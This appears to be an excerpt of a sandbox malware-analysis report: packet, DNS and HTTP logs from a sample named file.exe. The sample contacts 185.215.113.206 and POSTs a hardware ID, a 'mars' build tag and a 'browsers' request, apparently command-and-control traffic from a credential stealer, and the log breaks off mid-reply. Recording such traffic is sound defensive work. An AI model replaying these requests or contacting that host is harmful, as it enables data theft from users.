Nov 20, 2024 00:19:33.317821980 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.317898989 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.317915916 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.317931890 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.317960978 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.317970037 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.318003893 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.318022013 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.318022013 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.318052053 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.318069935 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.318084955 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.318111897 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.318125963 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.318150997 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.318161964 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.318209887 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.318214893 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.318214893 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.318228960 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.318264008 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.318270922 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.318295956 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.318310022 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.318344116 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.318346977 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.318367004 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.318378925 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.318413019 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.318447113 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.318461895 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.318461895 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.318481922 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.318485022 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.318516016 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.318551064 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.318553925 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.318553925 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.318583012 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.318617105 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.318629980 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.318629980 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.318665981 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.318671942 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.318701982 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.318734884 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.318747044 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.318747044 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.318768978 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.318782091 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.318803072 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.318836927 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.318850994 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.318871975 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.318917990 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.318917990 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.318932056 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.318967104 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.318978071 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.319000959 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.319016933 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.319061995 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.319070101 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.319103956 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.319120884 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.319138050 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.319163084 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.319188118 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.319200039 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.319235086 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.319269896 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.319317102 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.319324970 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.319921017 CET	443	62150	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:33.319977999 CET	443	62150	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:33.320056915 CET	62150	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:33.320065022 CET	443	62150	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:33.320126057 CET	443	62150	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:33.320152998 CET	62150	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:33.320183039 CET	62150	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:33.324579000 CET	62150	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:33.324592113 CET	443	62150	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:33.369690895 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.369725943 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.369760990 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.369797945 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.369797945 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.369853020 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.369903088 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.369937897 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.369954109 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.369971991 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.370008945 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.370017052 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.370017052 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.370040894 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.370066881 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.370074987 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.370084047 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.370131016 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.370146990 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.370163918 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.370176077 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.370208025 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.370213032 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.370249033 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.370291948 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.370291948 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.370300055 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.370328903 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.370433092 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.408679008 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.408747911 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.408797026 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.408828020 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.408862114 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.408869982 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.408869982 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.408896923 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.408921003 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.408931017 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.408956051 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.408967018 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.409001112 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.409013033 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.409013033 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.409044027 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.409143925 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.409177065 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.409219027 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.409220934 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.409220934 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.409276009 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.409276009 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.409310102 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.409343004 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.409374952 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.409377098 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.409411907 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.409429073 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.409462929 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.409475088 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.409475088 CET	62143	80	192.168.2.5	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2024 00:19:05.968959093 CET	192.168.2.5	1.1.1.1	0x213d	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:05.969168901 CET	192.168.2.5	1.1.1.1	0xc2b8	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 20, 2024 00:19:08.997257948 CET	192.168.2.5	1.1.1.1	0x4d0b	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:08.997468948 CET	192.168.2.5	1.1.1.1	0x4fc	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 20, 2024 00:19:09.995484114 CET	192.168.2.5	1.1.1.1	0x7194	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:09.995665073 CET	192.168.2.5	1.1.1.1	0xbf22	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 20, 2024 00:19:16.095310926 CET	192.168.2.5	1.1.1.1	0x91d9	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:16.095505953 CET	192.168.2.5	1.1.1.1	0x6f45	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 20, 2024 00:19:17.151422977 CET	192.168.2.5	1.1.1.1	0xd7c5	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:17.151567936 CET	192.168.2.5	1.1.1.1	0x56c	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 20, 2024 00:19:18.310163021 CET	192.168.2.5	1.1.1.1	0xf6e3	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:18.310937881 CET	192.168.2.5	1.1.1.1	0x3830	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 20, 2024 00:19:18.346290112 CET	192.168.2.5	1.1.1.1	0xda88	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:18.346678019 CET	192.168.2.5	1.1.1.1	0x6ff1	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 20, 2024 00:19:18.348371029 CET	192.168.2.5	1.1.1.1	0x886c	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:18.349258900 CET	192.168.2.5	1.1.1.1	0x144e	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 20, 2024 00:19:18.362904072 CET	192.168.2.5	1.1.1.1	0xab	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:18.363080978 CET	192.168.2.5	1.1.1.1	0x5be	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 20, 2024 00:19:20.216435909 CET	192.168.2.5	1.1.1.1	0xafa5	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:20.216603041 CET	192.168.2.5	1.1.1.1	0x9f1e	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 20, 2024 00:19:20.216891050 CET	192.168.2.5	1.1.1.1	0xf8ea	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:20.217019081 CET	192.168.2.5	1.1.1.1	0x8b08	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 20, 2024 00:19:20.380397081 CET	192.168.2.5	1.1.1.1	0x6f2d	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:20.380847931 CET	192.168.2.5	1.1.1.1	0x60a7	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 20, 2024 00:20:18.189563990 CET	192.168.2.5	1.1.1.1	0xd626	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:20:18.193438053 CET	192.168.2.5	1.1.1.1	0x4cfa	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 20, 2024 00:19:05.976939917 CET	1.1.1.1	192.168.2.5	0xc2b8	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 20, 2024 00:19:05.976948977 CET	1.1.1.1	192.168.2.5	0x213d	No error (0)	www.google.com		142.250.184.228	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:09.005939007 CET	1.1.1.1	192.168.2.5	0x4d0b	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:19:09.005939007 CET	1.1.1.1	192.168.2.5	0x4d0b	No error (0)	plus.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:09.006885052 CET	1.1.1.1	192.168.2.5	0x4fc	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:19:10.002043962 CET	1.1.1.1	192.168.2.5	0x7194	No error (0)	play.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:16.102103949 CET	1.1.1.1	192.168.2.5	0x91d9	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:19:16.104585886 CET	1.1.1.1	192.168.2.5	0xc7c2	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:19:16.104585886 CET	1.1.1.1	192.168.2.5	0xc7c2	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:16.105236053 CET	1.1.1.1	192.168.2.5	0x6f45	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:19:16.151930094 CET	1.1.1.1	192.168.2.5	0x11b0	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:19:17.160696983 CET	1.1.1.1	192.168.2.5	0xd7c5	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:19:17.160959005 CET	1.1.1.1	192.168.2.5	0x56c	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:19:18.322187901 CET	1.1.1.1	192.168.2.5	0xf6e3	No error (0)	sb.scorecardresearch.com		13.32.110.123	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:18.322187901 CET	1.1.1.1	192.168.2.5	0xf6e3	No error (0)	sb.scorecardresearch.com		13.32.110.8	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:18.322187901 CET	1.1.1.1	192.168.2.5	0xf6e3	No error (0)	sb.scorecardresearch.com		13.32.110.18	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:18.322187901 CET	1.1.1.1	192.168.2.5	0xf6e3	No error (0)	sb.scorecardresearch.com		13.32.110.104	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:18.355745077 CET	1.1.1.1	192.168.2.5	0xda88	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:19:18.355828047 CET	1.1.1.1	192.168.2.5	0x6ff1	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:19:18.357167006 CET	1.1.1.1	192.168.2.5	0x886c	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:19:18.358546972 CET	1.1.1.1	192.168.2.5	0x144e	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:19:18.372040033 CET	1.1.1.1	192.168.2.5	0xab	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:19:18.372623920 CET	1.1.1.1	192.168.2.5	0x5be	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:19:20.225156069 CET	1.1.1.1	192.168.2.5	0x9f1e	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 20, 2024 00:19:20.225269079 CET	1.1.1.1	192.168.2.5	0xafa5	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:20.225269079 CET	1.1.1.1	192.168.2.5	0xafa5	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:20.225279093 CET	1.1.1.1	192.168.2.5	0x8b08	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 20, 2024 00:19:20.225724936 CET	1.1.1.1	192.168.2.5	0xf8ea	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:20.225724936 CET	1.1.1.1	192.168.2.5	0xf8ea	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:20.387973070 CET	1.1.1.1	192.168.2.5	0x6f2d	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:20.387973070 CET	1.1.1.1	192.168.2.5	0x6f2d	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 00:19:20.388458014 CET	1.1.1.1	192.168.2.5	0x60a7	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 20, 2024 00:20:18.197710991 CET	1.1.1.1	192.168.2.5	0xd626	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 00:20:18.201836109 CET	1.1.1.1	192.168.2.5	0x4cfa	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	6380	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 00:19:00.071569920 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 00:19:00.800008059 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 00:19:00.803164005 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDBFBKKJDHJKECBGDAK Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 42 46 42 4b 4b 4a 44 48 4a 4b 45 43 42 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 41 30 43 44 36 46 31 33 41 30 41 31 36 33 33 30 34 37 39 38 36 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 46 42 4b 4b 4a 44 48 4a 4b 45 43 42 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 46 42 4b 4b 4a 44 48 4a 4b 45 43 42 47 44 41 4b 2d 2d 0d 0a Data Ascii: ------HJDBFBKKJDHJKECBGDAKContent-Disposition: form-data; name="hwid"EA0CD6F13A0A1633047986------HJDBFBKKJDHJKECBGDAKContent-Disposition: form-data; name="build"mars------HJDBFBKKJDHJKECBGDAK--
Nov 20, 2024 00:19:01.042697906 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:00 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 47 51 34 4e 6a 5a 6b 4d 6d 55 34 4f 44 67 79 4e 57 4d 34 5a 57 45 32 4f 47 59 34 4d 7a 4e 6d 59 57 45 33 4e 57 49 34 59 32 51 79 5a 57 45 34 59 7a 6b 77 4f 54 42 68 4f 54 45 7a 4d 7a 67 78 4d 6a 63 30 4e 54 5a 6d 59 57 55 34 5a 6a 49 79 5a 6d 59 32 4e 7a 6c 69 4e 6a 5a 68 4d 7a 49 34 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: OGQ4NjZkMmU4ODgyNWM4ZWE2OGY4MzNmYWE3NWI4Y2QyZWE4YzkwOTBhOTEzMzgxMjc0NTZmYWU4ZjIyZmY2NzliNjZhMzI4fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 20, 2024 00:19:01.044152021 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIJKEHCAKFCAKFHDAAA Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 64 38 36 36 64 32 65 38 38 38 32 35 63 38 65 61 36 38 66 38 33 33 66 61 61 37 35 62 38 63 64 32 65 61 38 63 39 30 39 30 61 39 31 33 33 38 31 32 37 34 35 36 66 61 65 38 66 32 32 66 66 36 37 39 62 36 36 61 33 32 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 2d 2d 0d 0a Data Ascii: ------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="token"8d866d2e88825c8ea68f833faa75b8cd2ea8c9090a91338127456fae8f22ff679b66a328------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="message"browsers------EGIJKEHCAKFCAKFHDAAA--
Nov 20, 2024 00:19:01.270214081 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 